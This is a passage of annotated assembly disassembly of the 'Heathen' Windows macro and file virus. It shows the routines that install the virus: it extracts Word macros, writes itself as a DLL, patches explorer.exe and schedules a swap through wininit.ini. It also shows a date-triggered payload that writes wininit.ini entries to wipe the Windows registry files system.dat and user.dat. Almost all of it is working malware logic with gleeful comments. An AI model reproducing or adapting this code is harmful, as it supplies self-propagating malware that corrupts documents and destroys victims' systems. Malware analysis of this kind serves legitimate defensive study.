|
|
push eax
|
|
push edx
|
|
call [ebx+API_STRUC.lstrcatA] ; add "="
|
|
push [ebp+WINDOWS_HeathenVEX]
|
|
lea ecx, [ebp+String]
|
|
push ecx
|
|
call [ebx+API_STRUC.lstrcatA] ; add "c:windowsheathen.vex"
|
|
push 0 ; NULL
|
|
push 20h ; FILE_ATTRIBUTE_ARCHIVE
|
|
push 2 ; CREATE_ALWAYS
|
|
push 0 ; NULL = file handle cannot be inherited
|
|
push 0 ; 0 = prevent file from being shared
|
|
push 40000000h ; GENERIC_WRITE
|
|
push [ebp+WINDOWS_WininitINI]
|
|
call [ebx+API_STRUC.CreateFileA] ; create file "c:windowswininit.ini"
|
|
mov esi, eax
|
|
push 0 ; NULL
|
|
lea eax, [ebp+BytesWritten] ; actual number of bytes written
|
|
push eax
|
|
lea edx, [ebp+String]
|
|
push edx
|
|
call [ebx+API_STRUC.lstrlenA] ; get length of string to write
|
|
push eax ; number of bytes to write
|
|
lea ecx, [ebp+String]
|
|
push ecx ; buffer for write
|
|
push esi ; file handle
|
|
call [ebx+API_STRUC.WriteFile]
|
|
push esi
|
|
call [ebx+API_STRUC.CloseHandle] ; close file
|
|
pop esi
|
|
pop ebx
|
|
mov esp, ebp
|
|
pop ebp
|
|
retn
|
|
CreateWININIT endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; This routine install virus in system, so next reboot explorer.exe will load Heathen.vdl library
|
|
; Attributes: bp-based frame
|
|
|
|
InstallVIRUS proc near
|
|
|
|
Buffer= byte ptr -0E28h
|
|
UNICODE_HeathenVdo= byte ptr -0C28h
|
|
UNICODE_HtmpDoc= byte ptr -9D0h
|
|
WINDOWS_WininitINI= byte ptr -778h
|
|
WINDOWS_HeathenVDO= byte ptr -64Ch
|
|
WINDOWS_HeatheVDL= byte ptr -520h
|
|
WINDOWS_HeathenVEX= byte ptr -3F4h
|
|
WINDOWS_ExplorerEXE= byte ptr -2C8h
|
|
WINDOWS_HtmpDOC= byte ptr -19Ch
|
|
APIs= API_STRUC ptr -70h
|
|
writtenbytes= dword ptr -28h
|
|
FileHandle= dword ptr -24h
|
|
StreamSeek= qword ptr -20h
|
|
MacrosSize= dword ptr -18h
|
|
MacrosOffset= dword ptr -14h
|
|
xTable= dword ptr -10h
|
|
IStream1= dword ptr -0Ch
|
|
IStorage2= dword ptr -8
|
|
IStorage1= dword ptr -4
|
|
VA2RAW= dword ptr 8
|
|
Patch_code= dword ptr 0Ch
|
|
HEATHEN_BASE= dword ptr 10h
|
|
ActiveDocument= dword ptr 14h
|
|
GetProcAddress= dword ptr 18h
|
|
KERNEL32= dword ptr 1Ch
|
|
OLE32= dword ptr 20h
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
add esp, 0FFFFF1D8h ; suck stack! yeah! 8-P
|
|
push ebx
|
|
push esi
|
|
push edi
|
|
mov ebx, [ebp+VA2RAW]
|
|
push [ebp+OLE32]
|
|
push [ebp+KERNEL32]
|
|
push ebx
|
|
push [ebp+GetProcAddress]
|
|
lea eax, [ebp+APIs] ; address to store API addresses
|
|
push eax
|
|
call GetAPIAddresses ; get all APIs
|
|
add esp, 14h
|
|
lea edx, [ebp+WINDOWS_HtmpDOC]
|
|
push 12Ch ; buffer size
|
|
push edx
|
|
call [ebp+APIs.GetWindowsDirectoryA] ; get windows directory, and store it in 6 buffers
|
|
lea ecx, [ebp+WINDOWS_HtmpDOC]
|
|
lea eax, [ebp+WINDOWS_ExplorerEXE]
|
|
push ecx
|
|
push eax
|
|
call [ebp+APIs.lstrcpyA]
|
|
lea edx, [ebp+WINDOWS_HtmpDOC]
|
|
lea ecx, [ebp+WINDOWS_HeathenVEX]
|
|
push edx
|
|
push ecx
|
|
call [ebp+APIs.lstrcpyA]
|
|
lea eax, [ebp+WINDOWS_HtmpDOC]
|
|
lea edx, [ebp+WINDOWS_HeatheVDL]
|
|
push eax
|
|
push edx
|
|
call [ebp+APIs.lstrcpyA]
|
|
lea ecx, [ebp+WINDOWS_HtmpDOC]
|
|
lea eax, [ebp+WINDOWS_HeathenVDO]
|
|
push ecx
|
|
push eax
|
|
call [ebp+APIs.lstrcpyA]
|
|
lea edx, [ebp+WINDOWS_HtmpDOC]
|
|
lea ecx, [ebp+WINDOWS_WininitINI]
|
|
push edx
|
|
push ecx
|
|
call [ebp+APIs.lstrcpyA]
|
|
mov eax, offset aHtmp_doc
|
|
lea edx, [ebp+WINDOWS_HtmpDOC]
|
|
add eax, ebx
|
|
push eax
|
|
push edx
|
|
call [ebp+APIs.lstrcatA] ; c:windowsHtmp.doc
|
|
mov ecx, offset aExplorer_exe
|
|
lea eax, [ebp+WINDOWS_ExplorerEXE]
|
|
add ecx, ebx
|
|
push ecx
|
|
push eax
|
|
call [ebp+APIs.lstrcatA] ; c:windowsExplorer.exe
|
|
mov edx, offset aHeathen_vex
|
|
lea ecx, [ebp+WINDOWS_HeathenVEX]
|
|
add edx, ebx
|
|
push edx
|
|
push ecx
|
|
call [ebp+APIs.lstrcatA] ; c:windowsHeathen.vex
|
|
mov eax, offset aHeathen_vdl
|
|
lea edx, [ebp+WINDOWS_HeatheVDL]
|
|
add eax, ebx
|
|
push eax
|
|
push edx
|
|
call [ebp+APIs.lstrcatA] ; c:windowsHeathen.vdl
|
|
mov ecx, offset aHeathen_vdo
|
|
lea eax, [ebp+WINDOWS_HeathenVDO]
|
|
add ecx, ebx
|
|
push ecx
|
|
push eax
|
|
call [ebp+APIs.lstrcatA] ; c:windowsHeathen.vdo
|
|
mov edx, offset aWininit_ini
|
|
lea ecx, [ebp+WINDOWS_WininitINI]
|
|
add edx, ebx
|
|
push edx
|
|
push ecx
|
|
call [ebp+APIs.lstrcatA] ; c:windowsWininit.ini
|
|
lea eax, [ebp+WINDOWS_HtmpDOC]
|
|
push 0 ; overwrite Htmp.doc if already present
|
|
push eax
|
|
xor esi, esi ; ESI = 0 = File errors
|
|
push [ebp+ActiveDocument]
|
|
call [ebp+APIs.CopyFileA] ; copy file: ActiveDocument --> c:windowsHtmp.doc
|
|
test eax, eax
|
|
jz error1 ; error
|
|
lea edx, [ebp+UNICODE_HtmpDoc]
|
|
push edx
|
|
lea ecx, [ebp+WINDOWS_HtmpDOC]
|
|
push ecx
|
|
call asciiz_to_unicode ; convert c:windowsHtmp.doc to unicode
|
|
add esp, 8
|
|
lea eax, [ebp+IStorage1]
|
|
push eax ; &IStorage1
|
|
push 0 ; zero (reserved)
|
|
push 0 ; NULL
|
|
push 10h ; STGM_READ + STGM_SHARE_EXCLUSIVE
|
|
push 0 ; NULL
|
|
lea edx, [ebp+UNICODE_HtmpDoc] ; file to contain Storage object
|
|
push edx
|
|
call [ebp+APIs.StgOpenStorage] ; open IStorage1 object
|
|
mov edi, eax
|
|
test edi, edi
|
|
jnz error2 ; error
|
|
lea eax, [ebp+UNICODE_HeathenVdo]
|
|
push eax
|
|
lea edx, [ebp+WINDOWS_HeathenVDO]
|
|
push edx
|
|
call asciiz_to_unicode ; convert c:windowsHeathen.Vdo to unicode
|
|
add esp, 8
|
|
lea ecx, [ebp+IStorage2]
|
|
push ecx ; &IStorage2
|
|
push 0 ; zero (reserved)
|
|
push 1011h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE
|
|
lea eax, [ebp+UNICODE_HeathenVdo] ; compound file to create
|
|
push eax
|
|
call [ebp+APIs.StgCreateDocFile] ; create newcompound IStorage2 object
|
|
mov edi, eax
|
|
test edi, edi
|
|
jnz error3 ; error
|
|
lea eax, [ebp+IStream1]
|
|
mov edi, offset aWorddocument ; WordDocument stream
|
|
push eax ; &Istream1
|
|
push 0 ; zero (reserved)
|
|
push 10h ; STGM_SHARE_EXCLUSIVE
|
|
add edi, ebx
|
|
push 0 ; zero (reserved)
|
|
push edi ; name of the stream
|
|
mov edx, [ebp+IStorage1]
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStorage_Interface.OpenStream] ; open WordDocument stream
|
|
push 0 ; NULL = dont return actual number of bytes read
|
|
lea eax, [ebp+Buffer]
|
|
push 200h ; number of bytes to read
|
|
push eax ; buffer for read
|
|
mov edx, [ebp+IStream1]
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStream_Interface.Read] ; read WordDocument Header
|
|
mov eax, offset xTable
|
|
mov dx, 31h ; "1Table"
|
|
add eax, ebx
|
|
mov [ebp+xTable], eax
|
|
test [ebp+Buffer+0Bh], 2 ; fWhichTblStm bit
|
|
; 0 = use 0Table for read
|
|
; 1 = use 1Table for read
|
|
jnz short use1Table
|
|
dec edx ; "0Table"
|
|
|
|
use1Table:
|
|
mov ecx, [ebp+xTable]
|
|
mov [ecx], dx
|
|
mov eax, dword ptr [ebp+Buffer+15Ah] ; fcCmds = offset in xTable stream of macros
|
|
mov [ebp+MacrosOffset], eax
|
|
mov edx, dword ptr [ebp+Buffer+15Eh] ; lcbCmds = size of macros
|
|
mov [ebp+MacrosSize], edx
|
|
mov ecx, [ebp+IStream1]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Release] ; close stream
|
|
cmp [ebp+MacrosSize], 200h ; greater than 200h?
|
|
jg error4
|
|
lea edx, [ebp+IStream1] ; open another stream (previous one was closed)
|
|
push edx ; &IStream1
|
|
push 0 ; zero (reserved)
|
|
push 10h ; STGM_SHARE_EXCLUSIVE
|
|
push 0 ; zero (reserved)
|
|
push [ebp+xTable] ; name of stream: "0Table" or "1Table"
|
|
mov ecx, [ebp+IStorage1]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStorage_Interface.OpenStream] ; open Table stream
|
|
mov eax, [ebp+MacrosOffset]
|
|
cdq
|
|
mov dword ptr [ebp+StreamSeek], eax
|
|
mov dword ptr [ebp+StreamSeek+4], edx
|
|
push 0 ; NULL (dont return new position)
|
|
push 0 ; STREAM_SEEK_SET
|
|
push dword ptr [ebp+StreamSeek+4] ; offset in Table stream
|
|
push dword ptr [ebp+StreamSeek]
|
|
mov eax, [ebp+IStream1]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStream_Interface.Seek] ; Seek in table stream
|
|
push 0 ; NULL = dont return actual number of bytes read
|
|
lea ecx, [ebp+Buffer]
|
|
push [ebp+MacrosSize] ; number of bytes to read
|
|
push ecx ; buffer
|
|
mov eax, [ebp+IStream1]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStream_Interface.Read] ; read macros from Table stream
|
|
mov ecx, [ebp+IStream1]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Release] ; close Table stream
|
|
lea edx, [ebp+IStream1] ; lets use same variable for another stream :-)
|
|
push edx ; &IStream1
|
|
push 0 ; zero (reserved)
|
|
push 0 ; zero (reserved)
|
|
push 1011h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE
|
|
push edi ; name of stream to create: "WordDocument"
|
|
mov ecx, [ebp+IStorage2]
|
|
push ecx ; &IStorage2 (heathen.vdo)
|
|
mov eax, [ecx]
|
|
call [eax+IStorage_Interface.CreateStream] ; create stream
|
|
mov edi, eax
|
|
test edi, edi
|
|
jnz error4 ; error
|
|
push 0 ; NULL = dont return actual number of bytes written
|
|
lea edx, [ebp+Buffer]
|
|
push [ebp+MacrosSize] ; number of bytes to write
|
|
push edx
|
|
mov ecx, [ebp+IStream1]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Write] ; IStream:Write
|
|
mov edx, [ebp+IStream1]
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStream_Interface.Release] ; close stream
|
|
mov eax, offset aMacros ; name of element to move
|
|
add eax, ebx
|
|
push 1 ; STGMOVE_COPY (dont move, only copy)
|
|
push eax
|
|
push [ebp+IStorage2] ; destination storage object (heathen.vdo)
|
|
push eax
|
|
mov edx, [ebp+IStorage1] ; source IStorage Interface (htmp.doc)
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStorage_Interface.MoveElementTo] ; move macros
|
|
mov edi, eax
|
|
test edi, edi
|
|
jnz short error4
|
|
push 0 ; NULL
|
|
push 20h ; FILE_ATTRIBUTE_ARCHIVE
|
|
push 2 ; CREATE_ALWAYS
|
|
push 0 ; NULL = handle cannot be inherited
|
|
push 0 ; 0 = prevent file from being shared
|
|
lea eax, [ebp+WINDOWS_HeatheVDL] ; "c:windowsheathen.vdl"
|
|
push 40000000h ; GENERIC_WRITE
|
|
push eax
|
|
call [ebp+APIs.CreateFileA] ; create DLL file (that will be called from Explorer patch code)
|
|
mov [ebp+FileHandle], eax
|
|
cmp [ebp+FileHandle], 0FFFFFFFFh
|
|
jz short error4 ; file creation error
|
|
push 0 ; NULL
|
|
lea edx, [ebp+writtenbytes]
|
|
push edx
|
|
push 3000h ; number of bytes to write
|
|
push [ebp+HEATHEN_BASE] ; buffer for write
|
|
push [ebp+FileHandle] ; file handle
|
|
call [ebp+APIs.WriteFile] ; write virus as a DLL file :-D
|
|
mov edi, eax
|
|
push [ebp+FileHandle]
|
|
call [ebp+APIs.CloseHandle] ; close file
|
|
test edi, edi
|
|
jz short error4 ; error
|
|
push 0 ; overwrite Heathen.vex if already present
|
|
lea eax, [ebp+WINDOWS_HeathenVEX]
|
|
push eax
|
|
lea edx, [ebp+WINDOWS_ExplorerEXE]
|
|
push edx
|
|
call [ebp+APIs.CopyFileA] ; copy file: c:windowsexplorer.exe --> c:windowsheathen.vex
|
|
mov esi, eax ; ESI = 0 means errors
|
|
|
|
error4:
|
|
mov eax, [ebp+IStorage2]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStorage_Interface.Release] ; close IStorage2 (heathen.vdo)
|
|
|
|
error3:
|
|
mov ecx, [ebp+IStorage1]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStorage_Interface.Release] ; close IStorage1 (htmp.doc)
|
|
|
|
error2:
|
|
lea edx, [ebp+WINDOWS_HtmpDOC]
|
|
push edx
|
|
call [ebp+APIs.DeleteFileA] ; delete temporary file c:windowsHtmp.doc
|
|
|
|
error1:
|
|
test esi, esi ; errors?
|
|
jz short error0 ; yes :-(
|
|
push [ebp+Patch_code] ; Offset of code to be inserted in Explorer.exe
|
|
mov ecx, offset aKernel32_dll
|
|
mov eax, offset aLoadLibraryA
|
|
add ecx, ebx
|
|
add eax, ebx
|
|
push ecx ; "KERNEL32.DLL"
|
|
push eax ; "LoadLibraryA"
|
|
lea edx, [ebp+WINDOWS_HeathenVEX]
|
|
lea ecx, [ebp+APIs] ; API addresses
|
|
push edx
|
|
push ecx
|
|
call PatchEXPLORER ; patch c:windowsHeathen.vex
|
|
add esp, 14h
|
|
test eax, eax
|
|
jz short error0 ; error patching file
|
|
push ebx ; EBX = delta
|
|
lea eax, [ebp+WINDOWS_HeathenVEX]
|
|
push eax
|
|
lea edx, [ebp+WINDOWS_ExplorerEXE]
|
|
push edx
|
|
lea ecx, [ebp+WINDOWS_WininitINI]
|
|
push ecx
|
|
lea eax, [ebp+APIs] ; API addresses
|
|
push eax
|
|
call CreateWININIT ; create c:windowswininit.ini file to replace explorer.exe
|
|
add esp, 14h
|
|
|
|
error0:
|
|
pop edi
|
|
pop esi
|
|
pop ebx
|
|
mov esp, ebp
|
|
pop ebp
|
|
retn 1Ch
|
|
InstallVIRUS endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
alloc_memory proc near
|
|
|
|
Size= dword ptr 8
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
mov eax, ds:MemoryAllocator
|
|
push [ebp+Size] ; size of memory to allocate
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IMalloc_Interface.PreAlloc] ; allocate memory
|
|
pop ebp
|
|
retn
|
|
alloc_memory endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
free_memory proc near
|
|
|
|
Buffer= dword ptr 8
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
mov eax, [ebp+Buffer]
|
|
test eax, eax
|
|
jz short free_memory0
|
|
push eax
|
|
mov eax, ds:MemoryAllocator
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IMalloc_Interface.PreFree] ; free memory
|
|
|
|
free_memory0:
|
|
pop ebp
|
|
retn
|
|
free_memory endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
AddDirectorytoList proc near
|
|
|
|
laststruct= dword ptr -4
|
|
DirectoryList= dword ptr 8
|
|
NewDirectory= dword ptr 0Ch
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
push ecx
|
|
push ebx
|
|
push esi
|
|
push edi
|
|
mov edi, [ebp+NewDirectory] ; name of new Directory to insert on list
|
|
mov ebx, [ebp+DirectoryList] ; EBX = pointer to structure corresponding to last directory in list
|
|
mov eax, [ebx] ; get next directory structure
|
|
mov [ebp+laststruct], eax ; next Directory structure
|
|
push 8
|
|
call alloc_memory ; get memory for new Directory structure
|
|
pop ecx
|
|
mov esi, eax
|
|
mov [ebx], esi ; save it, so this new structure will be first in chain
|
|
test esi, esi
|
|
jnz short AddDirectory
|
|
xor eax, eax
|
|
jmp short error50 ; error allocating memory
|
|
; ---------------------------------------------------------------------------
|
|
|
|
AddDirectory:
|
|
push edi
|
|
call API_lstrlenA ; get size of directory name
|
|
inc eax
|
|
push eax
|
|
call alloc_memory ; reserve memory for that Directory name
|
|
mov esi, eax
|
|
mov eax, [ebx]
|
|
pop ecx
|
|
test esi, esi
|
|
mov [eax+DirectorySTRUC.DirectoryName], esi ; save in first field of structure the name of the directory
|
|
jnz short AddDirectory2
|
|
xor eax, eax
|
|
jmp short error50 ; error allocating memory
|
|
; ---------------------------------------------------------------------------
|
|
|
|
AddDirectory2:
|
|
push edi
|
|
push esi
|
|
call API_lstrcpyA ; copy directory name to reserved memory
|
|
mov edx, [ebx]
|
|
mov ecx, [ebp+laststruct]
|
|
mov [edx+DirectorySTRUC.NextDirectorySTRUC], ecx ; save next directory structure in second field of actual structure
|
|
mov eax, 1
|
|
|
|
error50:
|
|
pop edi
|
|
pop esi
|
|
pop ebx
|
|
pop ecx
|
|
pop ebp
|
|
retn
|
|
AddDirectorytoList endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; Attributes: bp-based frame
|
|
|
|
DeleteDirectoryfromList proc near
|
|
|
|
NextDirectorySTRUC= dword ptr 8
|
|
DirectoryName= dword ptr 0Ch
|
|
|
|
push ebp
|
|
mov ebp, esp
|
|
push ebx
|
|
push esi
|
|
mov ebx, [ebp+NextDirectorySTRUC] ; EBX = pointer to Directory structure
|
|
mov eax, [ebx] ; EAX = Directory structure
|
|
mov esi, [eax+DirectorySTRUC.NextDirectorySTRUC] ; ESI = next directory structure
|
|
push [eax+DirectorySTRUC.DirectoryName] ; name of the directory (in this directory structure)
|
|
push [ebp+DirectoryName] ; pointer to argument DirectoryName (to return name of directory)
|
|
call API_lstrcpyA ; copy directory name to argument DirectoryName
|
|
mov eax, [ebx]
|
|
push [eax+DirectorySTRUC.DirectoryName]
|
|
call free_memory ; free memory that contains the name of the directory
|
|
pop ecx
|
|
push dword ptr [ebx]
|
|
call free_memory ; free memory of this directory structure
|
|
pop ecx
|
|
mov [ebx], esi ; update DirectoryList
|
|
pop esi
|
|
pop ebx
|
|
pop ebp
|
|
retn
|
|
DeleteDirectoryfromList endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
; called from WndProc
|
|
|
|
PAYLOAD proc near
|
|
|
|
BytesWritten= byte ptr -518h
|
|
WINDOWS_WININIT= byte ptr -514h
|
|
STRING_TEXT= byte ptr -3E8h
|
|
|
|
push ebx
|
|
add esp, 0FFFFFAE8h
|
|
push offset WindowsDirectory
|
|
lea eax, [esp+51Ch+WINDOWS_WININIT]
|
|
push eax
|
|
call API_lstrcpyA
|
|
push offset aWininit_ini
|
|
lea edx, [esp+51Ch+WINDOWS_WININIT]
|
|
push edx
|
|
call API_lstrcatA ; "c:windowswininit.ini"
|
|
push 0 ; NULL
|
|
push 20h ; FILE_ATTRIBUTE_ARCHIVE
|
|
push 2 ; CREATE_ALWAYS
|
|
push 0 ; NULL = file handle cannot be inherited
|
|
push 0 ; 0 = prevent file from being shared
|
|
push 40000000h ; GENERIC_WRITE
|
|
lea ecx, [esp+530h+WINDOWS_WININIT]
|
|
push ecx
|
|
call API_CreateFileA ; create file
|
|
mov ebx, eax
|
|
push offset WindowsDirectory
|
|
push offset WindowsDirectory
|
|
push offset WindowsDirectory
|
|
push offset WindowsDirectory
|
|
push offset aRename
|
|
push offset aRename2
|
|
lea eax, [esp+530h+STRING_TEXT]
|
|
push eax
|
|
call API_wsprintfA ; generate following text...
|
|
; [rename]
|
|
; nul=c:windowssystem.dat
|
|
; nul=c:windowsuser.dat
|
|
; nul=c:windowssystem.da0
|
|
; nul=c:windowsuser.da0
|
|
;
|
|
add esp, 1Ch
|
|
push 0 ; NULL
|
|
lea edx, [esp+51Ch+BytesWritten]
|
|
push edx ; pointer to store number of bytes actually written to file
|
|
lea ecx, [esp+520h+STRING_TEXT]
|
|
push ecx
|
|
call API_lstrlenA ; get size of the string
|
|
push eax ; number of bytes to write
|
|
lea eax, [esp+524h+STRING_TEXT]
|
|
push eax ; text
|
|
push ebx ; file handle
|
|
call API_WriteFile ; write to wininit.ini
|
|
push ebx
|
|
call API_CloseHandle ; close file handle
|
|
add esp, 518h
|
|
pop ebx
|
|
retn
|
|
PAYLOAD endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
InitVariables proc near
|
|
|
|
IStorage1= byte ptr -1A4h
|
|
FilePointer= qword ptr -1A0h
|
|
WINDOWS_HeathenVDO= byte ptr -198h
|
|
StatSTG= dword ptr -6Ch
|
|
IStorageTime= word ptr -24h
|
|
SystemTime= word ptr -14h
|
|
|
|
push ebx
|
|
add esp, 0FFFFFE60h
|
|
xor ebx, ebx
|
|
push 12Ch
|
|
push offset WindowsDirectory
|
|
call API_GetWindowsDirectoryA ; get windows directory
|
|
push offset WindowsDirectory
|
|
lea eax, [esp+1A8h+WINDOWS_HeathenVDO]
|
|
push eax
|
|
call API_lstrcpyA
|
|
push offset aHeathen_vdo
|
|
lea edx, [esp+1A8h+WINDOWS_HeathenVDO]
|
|
push edx
|
|
call API_lstrcatA ; "c:windowsHeathen.vdo"
|
|
push offset UNICODE_HeathenVDO
|
|
lea ecx, [esp+1A8h+WINDOWS_HeathenVDO]
|
|
push ecx
|
|
call asciiz_to_unicode ; convert it to unicode (for use by OLE functions)
|
|
add esp, 8
|
|
push esp ; &IStorage1
|
|
push 0 ; zero (reserved)
|
|
push 0 ; NULL
|
|
push 10h ; STGM_READ + STGM_SHARE_EXCLUSIVE
|
|
push 0 ; NULL
|
|
push offset UNICODE_HeathenVDO
|
|
call API_StgOpenStorage ; open Storage heathen.vdo
|
|
test eax, eax
|
|
jnz error20
|
|
push offset ILockBytes ; where ILockBytes interface is returned
|
|
push 1 ; TRUE = free handle when object is released
|
|
push 0 ; NULL = allocate a new shared memory block of size zero
|
|
call API_CreateILockBytesOnHGlobal ; create a byte array object that allows to use global memory as the physical device (instead of disk file)
|
|
test eax, eax
|
|
jnz error21
|
|
push offset IStorage ; &IStorage
|
|
push 0 ; NULL
|
|
push 1012h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_READWRITE
|
|
push ds:ILockBytes ; ILockBytes interface on the byte array object
|
|
call API_StgCreateDocfileOnILockBytes ; creates a new COM file storage object on top of the byte array object
|
|
test eax, eax
|
|
jnz error21
|
|
push ds:IStorage ; destination IStorage (on memory)
|
|
push 0 ; NULL
|
|
push 0 ; NULL=all objects to be copied
|
|
push 0 ; NULL
|
|
mov eax, dword ptr [esp+1B4h+IStorage1]
|
|
push eax ; source IStorage (heathen.vdo)
|
|
mov edx, [eax]
|
|
call [edx+IStorage_Interface.CopyTo] ; copy all its contents
|
|
test eax, eax
|
|
jnz short error21
|
|
push offset IStream ; &IStream
|
|
push 0 ; zero (reserved)
|
|
push 10h ; STGM_SHARE_EXCLUSIVE
|
|
push 0 ; zero (reserved)
|
|
push offset aWorddocument ; WordDocument stream (where virus macros were stored)
|
|
mov ecx, ds:IStorage
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStorage_Interface.OpenStream] ; open that stream
|
|
test eax, eax
|
|
jnz short error21
|
|
mov dword ptr [esp+1A4h+FilePointer], 0
|
|
mov dword ptr [esp+1A4h+FilePointer+4], 0
|
|
push offset HeathenMacrosSize ; here will be stored size of WordDocument stream, that contains virus macros!!!
|
|
push 2 ; STREAM_SEEK_END
|
|
push dword ptr [esp+1ACh+FilePointer+4]
|
|
push dword ptr [esp+1B0h+FilePointer]
|
|
mov ecx, ds:IStream
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Seek] ; seek at end of stream = size of stream
|
|
push 0 ; NULL (dont return new position)
|
|
push 0 ; STREAM_SEEK_SET
|
|
push dword ptr [esp+1ACh+FilePointer+4]
|
|
push dword ptr [esp+1B0h+FilePointer]
|
|
mov ecx, ds:IStream
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Seek] ; seek at start of stream
|
|
mov ebx, 1 ; ok, no errors :)
|
|
|
|
error21:
|
|
push 1 ; STATFLAG_NONAME
|
|
lea eax, [esp+1A8h+StatSTG]
|
|
push eax ; &StatSTG
|
|
mov edx, dword ptr [esp+1ACh+IStorage1] ; heathen.vdo storage
|
|
push edx
|
|
mov ecx, [edx]
|
|
call [ecx+IStorage_Interface.Stat] ; get stat structure of the IStorage
|
|
lea eax, [esp+1A4h+IStorageTime] ; variable to store IStorage modification time (converted to SystemTime)
|
|
push eax
|
|
lea edx, [esp+1A8h+StatSTG+10h] ; mtime = modification time
|
|
push edx
|
|
call API_FileTimeToSystemTime ; converts a 64-bit file time to system time format
|
|
lea ecx, [esp+1A4h+SystemTime] ; &SystemTime
|
|
push ecx
|
|
call API_GetSystemTime ; get system time
|
|
movzx eax, [esp+1A4h+SystemTime+6] ; System day
|
|
movzx edx, [esp+1A4h+IStorageTime+6] ; IStorage day
|
|
sub eax, edx ; day difference
|
|
movzx edx, [esp+1A4h+IStorageTime+2] ; IStorage month
|
|
movzx ecx, [esp+1A4h+SystemTime+2] ; System month
|
|
sub ecx, edx ; month difference
|
|
imul ecx, 1Eh ; * 30 days/month
|
|
add eax, ecx ; add days
|
|
movzx ecx, [esp+1A4h+IStorageTime] ; IStorage year
|
|
movzx edx, [esp+1A4h+SystemTime] ; System year
|
|
sub edx, ecx ; year difference
|
|
imul edx, 16Dh ; * 365 days/year
|
|
add eax, edx ; add days
|
|
cmp eax, 183 ; 183 days (or more) since installation? (half a year)
|
|
setnl al
|
|
and eax, 1 ; EAX=1--> yes! :-D
|
|
cmp [esp+1A4h+SystemTime+6], 0Eh ; day 14?
|
|
mov ds:MoreThanHalfYear, eax
|
|
jnz short not_may14th ; no
|
|
cmp [esp+1A4h+SystemTime+2], 5 ; month = May?
|
|
jz short month14th ; yes
|
|
|
|
not_may14th:
|
|
xor ecx, ecx
|
|
jmp short is_may14th
|
|
; ---------------------------------------------------------------------------
|
|
|
|
month14th:
|
|
mov ecx, 1
|
|
|
|
is_may14th:
|
|
mov ds:may14h, ecx ; indicate if we are on may 14th
|
|
mov eax, dword ptr [esp+1A4h+IStorage1]
|
|
push eax
|
|
mov edx, [eax]
|
|
call [edx+IStorage_Interface.Release] ; close IStorage
|
|
|
|
error20:
|
|
mov eax, ebx
|
|
add esp, 1A0h
|
|
pop ebx
|
|
retn
|
|
InitVariables endp
|
|
|
|
|
|
; --------------- S U B R O U T I N E ---------------------------------------
|
|
|
|
|
|
InitDirectoryList proc near
|
|
|
|
IStream1= dword ptr -1Ch
|
|
Zero_Offset= qword ptr -18h
|
|
ScanDataSize= byte ptr -10h
|
|
|
|
push ebx
|
|
push esi
|
|
add esp, 0FFFFFFECh
|
|
xor eax, eax
|
|
mov ds:Drive, eax ; empty DirectoryList
|
|
xor edx, edx
|
|
mov ds:DirectoryList.NextDirectorySTRUC, edx
|
|
mov ds:DirectoryList.DirectoryName, edx
|
|
push esp ; &IStream1
|
|
push 0 ; zero (reserved)
|
|
push 10h ; STGM_SHARE_EXCLUSIVE
|
|
push 0 ; zero (reserved)
|
|
push offset aScandata ; name of stream "ScanData"
|
|
mov eax, ds:IStorage ; (IStorage based on ILockBytes interface)
|
|
push eax
|
|
mov ecx, [eax]
|
|
call [ecx+IStorage_Interface.OpenStream] ; open stream ScanData
|
|
test eax, eax
|
|
jnz error40 ; error
|
|
mov dword ptr [esp+1Ch+Zero_Offset], 0 ; offset from end of stream = 0
|
|
mov dword ptr [esp+1Ch+Zero_Offset+4], 0
|
|
lea eax, [esp+1Ch+ScanDataSize]
|
|
push eax
|
|
push 2 ; STREAM_SEEK_END
|
|
push dword ptr [esp+24h+Zero_Offset+4]
|
|
push dword ptr [esp+28h+Zero_Offset]
|
|
mov ecx, [esp+2Ch+IStream1]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
call [eax+IStream_Interface.Seek] ; seek to end of stream to calculate its size
|
|
push 0 ; NULL (dont return new position)
|
|
push 0 ; STREAM_SEEK_SET
|
|
push dword ptr [esp+24h+Zero_Offset+4]
|
|
push dword ptr [esp+28h+Zero_Offset]
|
|
mov ecx, [esp+2Ch+IStream1]
|
|
push ecx
|
|
mov eax, [ecx]
|
|
